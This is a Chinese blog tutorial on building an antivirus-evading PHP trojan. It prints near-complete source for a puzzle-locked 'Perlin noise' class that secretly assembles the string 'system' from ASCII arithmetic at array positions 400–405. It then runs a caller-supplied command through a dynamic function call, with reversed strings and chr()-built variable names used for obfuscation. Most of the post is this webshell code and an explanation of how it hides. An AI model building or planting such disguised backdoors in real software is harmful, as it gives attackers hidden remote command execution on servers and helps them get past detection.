您现在的位置是:首页 > 技术教程 正文

记一次多平台免杀PHP木马的制作过程

admin 阅读: 2024-03-17
后台-插件-广告管理-内容页头部广告(手机)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

在这里插入图片描述

将某个解谜机关转换为线性代数方程,如下:

r a n g e = [ 0 1 2 ] range = \begin{bmatrix}0\quad1\quad2\\\end{bmatrix} range=[012]
A j = [ 1 1 0 0 1 1 1 0 0 1 1 1 0 0 1 1 ] A_j=\begin{bmatrix} 1&1&0&0\\ 1&1&1&0\\ 0&1&1&1\\ 0&0&1&1\\ \end{bmatrix} Aj= 1100111001110011

o = [ x 1 x 2 x 3 x 4 ] o=\begin{bmatrix} x_1\\ x_2\\ x_3\\ x_4\\ \end{bmatrix} o= x1x2x3x4

s = [ 2 0 0 2 ] s=\begin{bmatrix} 2\\0\\0\\2\\ \end{bmatrix} s= 2002

e = [ 2 2 2 2 ] A j . o + s = e e=\begin{bmatrix} 2\\ 2\\ 2\\ 2\\ \end{bmatrix} \\ A_j.o + s = e e= 2222 Aj.o+s=e

这时我们可以根据高斯-若尔当消元法得出 o = [ 1 2 2 1 ] o=\begin{bmatrix}1\\2\\2\\1\\\end{bmatrix} o= 1221

作者依照上述内容编写了程序解锁模块类InazumaPuzzle,该类中有4个关键类成员变量blockA、blockB、blockC、blockD,用于存放上图中4个机关方块的状态;类中还有如下关键成员函数:

  • setBackBlock()
  • hit()
  • __AFG50CE4_RG1()
  • getLockerStatus()

其中,setBackBlock()函数的作用为当要操作的成员变量数值即将超过循环群最大数值$maxType时,将其复位为循环群最小数值$setType,其代码如下:(最大数值为2,最小数值为0)

<?php private function setBackBlock($block){ $setType = $this-> MIN_ENUM; $maxType = $this -> MAX_ENUM; switch ($block) { case 'A': if ($this -> blockA == $maxType) { $this -> blockA = $setType; return true; } else return false; case 'B': if ($this -> blockB== $maxType) { $this -> blockB = $setType; return true; } else return false; case 'C': if ($this-> blockC == $maxType){ $this -> blockC = $setType; return true; } else return false; case 'D': if ($this -> blockD== $maxType) { $this -> blockD = $setType; return true; } else return false; default: throw new Exception("bad_args", 1); } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

可以看到如果成员变量的整数值如果未达到临界值,返回false,不操作成员变量;如果达到临界值,则将其复位后返回true。

hit()函数的功能根据原理图公式中的量Aj编写,实模拟现了“击打一个方块带动周围方块转动”的功能

<?php private function hit($blockIdx) { global $text; $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44"); switch ($blockIdx) { case "A": if (!$this -> setBackBlock("A")) $this -> blockA += 1; if (!$this -> setBackBlock("B")) $this -> blockB += 1; break; case "B": if (!$this -> setBackBlock("A")) $this -> blockA += 1; if (!$this -> setBackBlock("B")) $this -> blockB += 1; if (!$this -> setBackBlock("C")) $this -> blockC += 1; break; case "C": if (!$this -> setBackBlock("B")) $this -> blockB += 1; if (!$this -> setBackBlock("C")) $this -> blockC += 1; if (!$this -> setBackBlock("D")) $this -> blockD += 1; break; case "D": if (!$this -> setBackBlock("C")) $this -> blockC += 1; if (!$this -> setBackBlock("D")) $this -> blockD += 1; break; default: throw new Exception("bad_args", 1); } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

可以看到该函数核心为调用setBackBlock()函数或将成员函数值加1,如果setBackBlock()函数返回true,则代表成员函数值已经被使用循环群运算方法加1,不需要再次加1;否则手动加1。(比如,如果接收的传入值为A,则击打A、B;如果传入值为B,则击打A、B、C;以此类推)

__AFG50CE4_RG1()函数的作用为接收答案数组并根据数组的每个值调用hit()函数,模拟实现根据答案值击打方块,其代码如下:

<?php public function __AFG50CE4_RG1() { global $puzz_writeup; if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1); for ($i = 0; $i < count($puzz_writeup);$i++) { if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......"); } for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]); global $userans; $userans = $this ->blockA + $this -> blockB + $this -> blockC + $this -> blockD; } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

可以看到函数首先载入了被变量覆盖传值模块初始化的答案数组变量$puzz_writeup;接着校验数组的长度和数组中的每个答案字符串,如果不符合格式要求则退出程序;然后遍历数组,取出数组中的每一个字符串之后将其作为参数来调用hit()函数,实现“击打”功能;最后初始化全局变量$userans,其值设置为对象中4个成员变量数值的和

P.S. 根据类构造函数的设计,4个成员变量初始值分别为2、0、0、2,若击打正确,则4个数的和应该为8。

getLockerStatus()函数的功能很简单,只是判断对象中4个成员变量数值是否相等,若相等则判定程序解锁,其代码如下:

<?php public function getLockerStatus() { global $text; $text = strrev($text); if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true; else return false; } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在程序主干中,程序先使用变量覆盖传值模块传递关键变量,随后会初始化InazumaPuzzle类并调用__AFG50CE4_RG1()解锁函数尝试解除程序的锁定。若解锁失败,则无法初始化下面的PerlinNoise类并退出程序,如图:

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

但是作者将一维柏林函数生成算法进行修改,在生成数组的第400位至第405位中埋入后门,实现了命令执行函数system()的隐藏调用。

该类中有如下关键函数:

  • 构造函数
  • randomFloat()基于时间的随机值生成器
  • __PLvB4CR0_Z()排列表生成器
  • __PLAB4CR0_o()梯度表生成器
  • __CPRBB0R0_l()埋有后门的柏林噪声生成器
  • __HNBB70CA_5()埋有后门的柏林噪声显示器

接下来依次介绍上面的函数。

构造函数

构造函数接收4个参数:

  • arrlength柏林噪声数组长度;
  • MAX_INPUT梯度数最大值;
  • MIN_INPUT梯度数最小值;
  • source梯度值数据源(若为DIFF_PERLIN开启后门模式)

构造函数首先载入了全局程序锁定器对象,随后调用InazumaPuzzle::getLockerStatus()方法判断程序锁定情况,若未解锁则退出程序;接着判断传入的要生成的柏林噪声数的数量,若不符合要求则报错;然后根据source参数判断是否开启后门模式。最后将4个参数配置保存在类成员变量中

<?php public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") { global $appor5nnb; if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~"); if ($arrLength < 3000 or $arrLength > 9999) { throw new InvalidArgumentException("Error: Invaild Length"); } if (strcmp($source,"DIFF_PERLIN") == 0) { $this -> BAD_ARGS = true; $source = "GENERATE"; } $this -> arrLength = $arrLength; $this -> source = $source; $this -> INPUT_NUM_MAX = $MAX_INPUT; $this -> INPUT_NUM_MIN = $MIN_INPUT; } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

基于时间的随机值生成器

randomFloat()函数的原理比较简单,就是根据时间种子和梯度数的极值配置生成每个梯度数,生成的梯度数为小数

<?php private function randomFloat(){ $_ = 110+4; $__ = ((int)(600/2))-184; $___ = 115; $____ = 100-2; $_____ = 117; $______ = 113+2; /* 上述变量为干扰项 */ $max = $this -> INPUT_NUM_MAX; $min = $this -> INPUT_NUM_MIN; $num = $min + mt_rand() / mt_getrandmax() * ($max - $min); return sprintf("%.2f",$num); } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

排列表生成器

__PLvB4CR0_Z()函数为排列表生成器,该函数实际上为基于时间的随机整数生成器,生成数量为指定的柏林噪声数组长度,保存于类中的数组成员变量$seeds_array中:

<?php private function __PLvB4CR0_Z() { srand(time()); for ($i = 0; $i < $this -> arrLength; $i++) { $eachNum = pause(rand(0,255)); array_push($this -> seeds_array, $eachNum); } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

梯度表生成器

__PLAB4CR0_o()函数为梯度表生成器,其实际功能较为简单。该函数读取类成员变量$source的值,根据该值决定梯度数的数据源(实际上只能进行随机值生成),随后调用randomFloat()函数生成2位随机小数,生成的数量为指定的柏林噪声数组长度,生成的数组保存在类数组成员变量$inputNumArray中:

<?php private function __PLAB4CR0_o() { if (strcmp($this -> source, "GENERATE") == 0) { srand(time()); for ($i = 0; $i < $this -> arrLength; $i++) { $eachNum = pause($this -> randomFloat()); array_push($this -> inputNumArray, floatval($eachNum)); } } else if (strcmp($this -> source,"SYSLOG") == 0) { $handle = fopen("/etc/messages","r"); $count = 0; while(($char = fgetc($handle)) !== false) { if ($count == $this -> INPUT_NUM_MAX - 1) break; if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) { array_push($this -> inputNumArray, sprintf("%.2f",$ascii_value / 2.3)); $count++; } else continue; } } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

埋有后门的柏林噪声生成器

__CPRBB0R0_l()函数为柏林噪声生成器,该函数中埋有后门。该函数首先载入全局变量$userans,值为锁定器4个成员变量的和(正常为8);随后根据变量$userans的值进行数学运算操作,指定生成危险函数字母的ASCII值,并将其写入特定位置中。(第400位至第405位) 其它位则为正常的柏林噪声数字。生成的柏林噪声数组保存在类数组成员变量$perlin_noise中。

<?php public function __CPRBB0R0_l() { global $userans; for ($i = 0; $i < $this -> arrLength; $i++) { if ($this -> BAD_ARGS) { if ($i > ($userans+391) and $i < (pause($userans+390+8))) { $result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60); array_push($this -> perlin_noise, $result[$i - 400]); continue; } } $cache = $this -> inputNumArray[$i]; $x1 = round($cache); $x2 = $x1 + 1; $grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0; $grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0; $vec1 = $i - $x1; $vec2 = $i - $x2; $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3); $product1 = $grad1 * $vec1; $product2 = $grad2 * $vec2; $result = $product1 + $t * ($product2 - $product1); array_push($this -> perlin_noise, $result); } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

柏林噪声显示器

__HNBB70CA_5()函数为柏林噪声显示器,该函数使用动态函数调用执行system()命令执行函数。该函数首先使用EL表达式数字转字符串的方式载入了$userans、$b和$pcs三个变量 (其中$b为危险函数的第一位字母,$pcs为要执行的命令),随后读取了柏林噪声数组$perlin_noise中危险函数名称区域的数值并将其保存到数组$cache_noise中,紧接着又将其值复制到数组$temp_noise中 (复制时故意少读一位)随后将其转化为字符串并进行多次反转、拼接和阻断后,在整个程序的第123行执行了system()函数

<?php public function __HNBB70CA_5() { global $userans; global ${strval(chr(90+$userans))}; global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))}; $cache_noise = pause(array()); for ($i = 400; $i < 406; $i++) { array_push($cache_noise,$this -> perlin_noise[$i]); } $temp_noise = array(); for ($i = 0; $i < count($cache_noise); $i++) { array_push($temp_noise, $cache_noise[$i]); } for ($i = 0; $i < count($temp_noise); $i++) { $temp_noise[$i] = chr($temp_noise[$i]); } $ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3))); $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab)))))); $c($pcs); // 希儿世界第一可爱! die(urldecode("%3c%62%72%3e%3c%62%72%3e")); var_dump(array_slice($this -> perlin_noise,1000,800)); } } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

程序主干

<?php $appor5nnb = new InazumaPuzzle(); $appor5nnb -> __AFG50CE4_RG1(); $cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN"); $cvb33ff55->__BHUYTVV8_1(); $cvb33ff55 -> __CPRBB0R0_l(); $cvb33ff55 ->__HNBB70CA_5(); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

可以看到,程序主干处首先创建了InazumaPuzzle程序锁定器,随后调用了InazumaPuzzle::__AFG50CE4_RG1()函数尝试对程序执行解锁操作,紧接着程序创建了埋有后门的柏林噪声生成器并打开了后门模式,然后生成了梯度表和排列表,最后调用内置后门的柏林噪声打印函数执行了命令。


参考资料

  1. 【数学原理】稻妻方块解密的数学原理-原神社区-米游社
  2. [Nature of Code] 柏林噪声 - 知乎
  3. 变量覆盖漏洞总结-CSDN博客
标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索